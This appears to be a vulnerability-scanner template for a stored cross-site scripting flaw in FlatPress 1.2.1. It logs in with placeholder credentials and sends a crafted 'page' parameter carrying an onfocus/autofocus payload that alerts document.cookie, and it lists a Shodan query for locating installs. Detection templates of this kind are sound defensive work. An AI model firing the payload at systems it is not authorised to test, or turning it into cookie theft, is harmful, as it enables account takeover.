id: flatpress-xss info: name: FlatPress 1.2.1 - Stored Cross-Site Scripting author: arafatansari severity: medium description: | FlatPress 1.2.1 contains a stored cross-site scripting vulnerability that allows for arbitrary execution of JavaScript commands through blog content. An attacker can steal cookie-based authentication credentials and launch other attacks. Note: this is similar to CVE-2021-41432, however this attack uses the "page" parameter. reference: - https://github.com/flatpressblog/flatpress/issues/153 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cwe-id: CWE-79 metadata: max-request: 2 verified: true shodan-query: http.html:"Flatpress" tags: flatpress,xss,authenticated,oss http: - raw: - | POST /login.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp ------WebKitFormBoundarykGJmx9vKsePrMkVp Content-Disposition: form-data; name="user" {{username}} ------WebKitFormBoundarykGJmx9vKsePrMkVp Content-Disposition: form-data; name="pass" {{password}} ------WebKitFormBoundarykGJmx9vKsePrMkVp Content-Disposition: form-data; name="submit" Login ------WebKitFormBoundarykGJmx9vKsePrMkVp-- - | GET /admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.cookie%29%22autofocus%3d%22 HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers-condition: and matchers: - type: word words: - 'value=""onfocus="alert(document.cookie)"autofocus=""' - 'FlatPress' condition: and - type: word part: header words: - text/html - type: status status: - 200